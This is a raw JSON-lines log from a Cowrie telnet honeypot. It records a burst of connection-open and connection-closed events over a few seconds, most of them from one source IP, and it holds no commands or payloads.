{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33116,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c9a1df1dad1","protocol":"telnet","message":"New connection: 51.161.172.108:33116 (159.203.135.109:23) [session: 9c9a1df1dad1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:48.939139Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33106,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc3b9345b7ae","protocol":"telnet","message":"New connection: 51.161.172.108:33106 (159.203.135.109:23) [session: fc3b9345b7ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:48.943439Z"}
{"eventid":"cowrie.session.closed","duration":32.12645506858826,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:48.975404Z","src_ip":"51.161.172.108","session":"d29ce661e96e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.7480411529541,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:49.086766Z","src_ip":"51.161.172.108","session":"c84bad3ce281","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33160,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6b7b396a6e2","protocol":"telnet","message":"New connection: 51.161.172.108:33160 (159.203.135.109:23) [session: d6b7b396a6e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:49.133784Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33144,"dst_ip":"159.203.135.109","dst_port":23,"session":"30cffd0d7d9a","protocol":"telnet","message":"New connection: 51.161.172.108:33144 (159.203.135.109:23) [session: 30cffd0d7d9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:49.141705Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33158,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a3df6dab00d","protocol":"telnet","message":"New connection: 51.161.172.108:33158 (159.203.135.109:23) [session: 6a3df6dab00d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:49.201997Z"}
{"eventid":"cowrie.session.closed","duration":30.77593755722046,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:49.220845Z","src_ip":"51.161.172.108","session":"0c33bd0b7c75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33176,"dst_ip":"159.203.135.109","dst_port":23,"session":"24235a2fb21a","protocol":"telnet","message":"New connection: 51.161.172.108:33176 (159.203.135.109:23) [session: 24235a2fb21a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:49.227654Z"}
{"eventid":"cowrie.session.closed","duration":30.70068359375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:49.274569Z","src_ip":"51.161.172.108","session":"ed10451e120b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46178,"dst_ip":"159.203.135.109","dst_port":23,"session":"662b286b9cf6","protocol":"telnet","message":"New connection: 51.161.172.108:46178 (159.203.135.109:23) [session: 662b286b9cf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:49.363168Z"}
{"eventid":"cowrie.session.closed","duration":31.301538944244385,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:49.457653Z","src_ip":"51.161.172.108","session":"5803112e9d72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.344883918762207,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:49.565382Z","src_ip":"51.161.172.108","session":"6e431b2af406","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.3858425617218,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:49.632125Z","src_ip":"51.161.172.108","session":"53b05eb7b1ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46196,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d43bbcf53cb","protocol":"telnet","message":"New connection: 51.161.172.108:46196 (159.203.135.109:23) [session: 3d43bbcf53cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:49.661913Z"}
{"eventid":"cowrie.session.closed","duration":31.77967357635498,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:49.909980Z","src_ip":"51.161.172.108","session":"06bd92733342","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.72203016281128,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:50.008843Z","src_ip":"51.161.172.108","session":"7baa5a8bdf65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46264,"dst_ip":"159.203.135.109","dst_port":23,"session":"dff9c4255478","protocol":"telnet","message":"New connection: 51.161.172.108:46264 (159.203.135.109:23) [session: dff9c4255478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:50.069987Z"}
{"eventid":"cowrie.session.closed","duration":31.624894380569458,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:50.075000Z","src_ip":"51.161.172.108","session":"8325d2dd808e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46268,"dst_ip":"159.203.135.109","dst_port":23,"session":"c19f727ff860","protocol":"telnet","message":"New connection: 51.161.172.108:46268 (159.203.135.109:23) [session: c19f727ff860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:50.118342Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46276,"dst_ip":"159.203.135.109","dst_port":23,"session":"22d8e1434370","protocol":"telnet","message":"New connection: 51.161.172.108:46276 (159.203.135.109:23) [session: 22d8e1434370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:50.124924Z"}
{"eventid":"cowrie.session.closed","duration":31.49968385696411,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:50.130367Z","src_ip":"51.161.172.108","session":"b687a691844b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.97888469696045,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:50.168628Z","src_ip":"51.161.172.108","session":"d9099e21a64f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.131563663482666,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:50.348828Z","src_ip":"51.161.172.108","session":"f78d6b3c4cbf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.479636669158936,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:50.486076Z","src_ip":"51.161.172.108","session":"032a3e580fa3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.331490516662598,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:50.546631Z","src_ip":"51.161.172.108","session":"fa259dda43dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.435836791992188,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:50.564101Z","src_ip":"51.161.172.108","session":"dfc8f30c4ad2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46390,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c8c5aa697c6","protocol":"telnet","message":"New connection: 51.161.172.108:46390 (159.203.135.109:23) [session: 1c8c5aa697c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:50.592991Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46396,"dst_ip":"159.203.135.109","dst_port":23,"session":"b60ea4af3cdf","protocol":"telnet","message":"New connection: 51.161.172.108:46396 (159.203.135.109:23) [session: b60ea4af3cdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:50.736909Z"}
{"eventid":"cowrie.session.closed","duration":31.978158712387085,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:50.771987Z","src_ip":"51.161.172.108","session":"3636b746e862","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46234,"dst_ip":"159.203.135.109","dst_port":23,"session":"55c610effc23","protocol":"telnet","message":"New connection: 51.161.172.108:46234 (159.203.135.109:23) [session: 55c610effc23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:50.990579Z"}
{"eventid":"cowrie.session.closed","duration":31.042430877685547,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:51.154316Z","src_ip":"51.161.172.108","session":"5241a791b4a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.746330499649048,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:51.200701Z","src_ip":"51.161.172.108","session":"46f9bf1d9fe4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83581233024597,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:51.205880Z","src_ip":"51.161.172.108","session":"d63d79e10338","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46324,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ab413b6b35d","protocol":"telnet","message":"New connection: 51.161.172.108:46324 (159.203.135.109:23) [session: 4ab413b6b35d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:51.218719Z"}
{"eventid":"cowrie.session.closed","duration":35.68087458610535,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:51.281335Z","src_ip":"167.99.38.72","session":"9542aa9ee69b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46338,"dst_ip":"159.203.135.109","dst_port":23,"session":"da3cbb80d6ae","protocol":"telnet","message":"New connection: 51.161.172.108:46338 (159.203.135.109:23) [session: da3cbb80d6ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:51.338211Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46438,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ce914808b8f","protocol":"telnet","message":"New connection: 51.161.172.108:46438 (159.203.135.109:23) [session: 2ce914808b8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:51.397558Z"}
{"eventid":"cowrie.session.closed","duration":30.794475078582764,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:51.402386Z","src_ip":"51.161.172.108","session":"ce64291a2968","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46356,"dst_ip":"159.203.135.109","dst_port":23,"session":"65a9b95029e3","protocol":"telnet","message":"New connection: 51.161.172.108:46356 (159.203.135.109:23) [session: 65a9b95029e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:51.456740Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46444,"dst_ip":"159.203.135.109","dst_port":23,"session":"682e5f71bdcc","protocol":"telnet","message":"New connection: 51.161.172.108:46444 (159.203.135.109:23) [session: 682e5f71bdcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:51.532276Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46478,"dst_ip":"159.203.135.109","dst_port":23,"session":"5312f619eaaa","protocol":"telnet","message":"New connection: 51.161.172.108:46478 (159.203.135.109:23) [session: 5312f619eaaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:51.872246Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":57300,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9aa21a0925c","protocol":"telnet","message":"New connection: 45.10.154.244:57300 (10.17.0.5:23) [session: b9aa21a0925c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:51.915910Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46464,"dst_ip":"159.203.135.109","dst_port":23,"session":"5872755fc13a","protocol":"telnet","message":"New connection: 51.161.172.108:46464 (159.203.135.109:23) [session: 5872755fc13a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:51.928508Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46488,"dst_ip":"159.203.135.109","dst_port":23,"session":"16b0c09877ce","protocol":"telnet","message":"New connection: 51.161.172.108:46488 (159.203.135.109:23) [session: 16b0c09877ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:52.089123Z"}
{"eventid":"cowrie.session.closed","duration":30.92419981956482,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:52.218100Z","src_ip":"51.161.172.108","session":"f4f038c3a66d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.080026626586914,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:52.242725Z","src_ip":"51.161.172.108","session":"8b7881d73874","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.19121503829956,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:52.283496Z","src_ip":"51.161.172.108","session":"a94925d3a4a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.548437356948853,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:52.335828Z","src_ip":"51.161.172.108","session":"bcb9a3d7cd7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87585210800171,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:52.369558Z","src_ip":"51.161.172.108","session":"3c7300ca4bc5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66939878463745,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:52.397317Z","src_ip":"51.161.172.108","session":"3db06aca616c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.3609836101532,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:52.409558Z","src_ip":"51.161.172.108","session":"793ec7d5e791","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.540342569351196,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:52.415306Z","src_ip":"51.161.172.108","session":"7bad39162e7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93596076965332,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:52.496289Z","src_ip":"51.161.172.108","session":"a95de0d098e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46606,"dst_ip":"159.203.135.109","dst_port":23,"session":"f15bdaaafc96","protocol":"telnet","message":"New connection: 51.161.172.108:46606 (159.203.135.109:23) [session: f15bdaaafc96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:52.656699Z"}
{"eventid":"cowrie.session.closed","duration":31.01253914833069,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:52.661972Z","src_ip":"51.161.172.108","session":"6b96d07ac750","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46616,"dst_ip":"159.203.135.109","dst_port":23,"session":"b61f0993af03","protocol":"telnet","message":"New connection: 51.161.172.108:46616 (159.203.135.109:23) [session: b61f0993af03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:52.833718Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46664,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0564c12df9b","protocol":"telnet","message":"New connection: 51.161.172.108:46664 (159.203.135.109:23) [session: b0564c12df9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:52.948501Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46680,"dst_ip":"159.203.135.109","dst_port":23,"session":"81dd3c6ddef5","protocol":"telnet","message":"New connection: 51.161.172.108:46680 (159.203.135.109:23) [session: 81dd3c6ddef5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:53.049361Z"}
{"eventid":"cowrie.session.closed","duration":31.388259172439575,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:53.056406Z","src_ip":"51.161.172.108","session":"295bf32bf2c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81191849708557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:53.133673Z","src_ip":"45.10.154.244","session":"a3ffa9925f09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.912460565567017,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:53.220069Z","src_ip":"51.161.172.108","session":"a49715bfd4fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.999380588531494,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:53.226493Z","src_ip":"51.161.172.108","session":"41848796b623","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46502,"dst_ip":"159.203.135.109","dst_port":23,"session":"a74cc4f631d7","protocol":"telnet","message":"New connection: 51.161.172.108:46502 (159.203.135.109:23) [session: a74cc4f631d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:53.237890Z"}
{"eventid":"cowrie.session.closed","duration":30.431722402572632,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:53.280291Z","src_ip":"51.161.172.108","session":"3edd91298cfc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46714,"dst_ip":"159.203.135.109","dst_port":23,"session":"4bc155cd034b","protocol":"telnet","message":"New connection: 51.161.172.108:46714 (159.203.135.109:23) [session: 4bc155cd034b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:53.293428Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46726,"dst_ip":"159.203.135.109","dst_port":23,"session":"8db9c990f3e7","protocol":"telnet","message":"New connection: 51.161.172.108:46726 (159.203.135.109:23) [session: 8db9c990f3e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:53.419076Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46744,"dst_ip":"159.203.135.109","dst_port":23,"session":"e818c9b12160","protocol":"telnet","message":"New connection: 51.161.172.108:46744 (159.203.135.109:23) [session: e818c9b12160]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:53.424966Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46776,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0d67be07045","protocol":"telnet","message":"New connection: 51.161.172.108:46776 (159.203.135.109:23) [session: b0d67be07045]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:53.652441Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46756,"dst_ip":"159.203.135.109","dst_port":23,"session":"291c11d1332d","protocol":"telnet","message":"New connection: 51.161.172.108:46756 (159.203.135.109:23) [session: 291c11d1332d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:53.706168Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46768,"dst_ip":"159.203.135.109","dst_port":23,"session":"4be2d9b2b63d","protocol":"telnet","message":"New connection: 51.161.172.108:46768 (159.203.135.109:23) [session: 4be2d9b2b63d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:53.720895Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46790,"dst_ip":"159.203.135.109","dst_port":23,"session":"b12df8024f6a","protocol":"telnet","message":"New connection: 51.161.172.108:46790 (159.203.135.109:23) [session: b12df8024f6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:53.736755Z"}
{"eventid":"cowrie.session.closed","duration":31.453636646270752,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:54.034442Z","src_ip":"51.161.172.108","session":"d825d8cb90a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46882,"dst_ip":"159.203.135.109","dst_port":23,"session":"1500e5ee8d08","protocol":"telnet","message":"New connection: 51.161.172.108:46882 (159.203.135.109:23) [session: 1500e5ee8d08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:54.136270Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46846,"dst_ip":"159.203.135.109","dst_port":23,"session":"95021eb07b44","protocol":"telnet","message":"New connection: 51.161.172.108:46846 (159.203.135.109:23) [session: 95021eb07b44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:54.145893Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46896,"dst_ip":"159.203.135.109","dst_port":23,"session":"158d87a0a4d0","protocol":"telnet","message":"New connection: 51.161.172.108:46896 (159.203.135.109:23) [session: 158d87a0a4d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:54.300436Z"}
{"eventid":"cowrie.session.closed","duration":31.157193183898926,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:54.371507Z","src_ip":"51.161.172.108","session":"e6280eaada09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.562857151031494,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:54.430331Z","src_ip":"51.161.172.108","session":"1fd83a443870","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.665684938430786,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:54.445793Z","src_ip":"51.161.172.108","session":"a572b3f7fdcc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.257555723190308,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:54.460822Z","src_ip":"51.161.172.108","session":"dcbecc6e05f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.944624185562134,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:54.655171Z","src_ip":"167.99.38.72","session":"37247a6daa29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.442095041275024,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:54.676394Z","src_ip":"51.161.172.108","session":"c43fb97317a6","protocol":"telnet"}
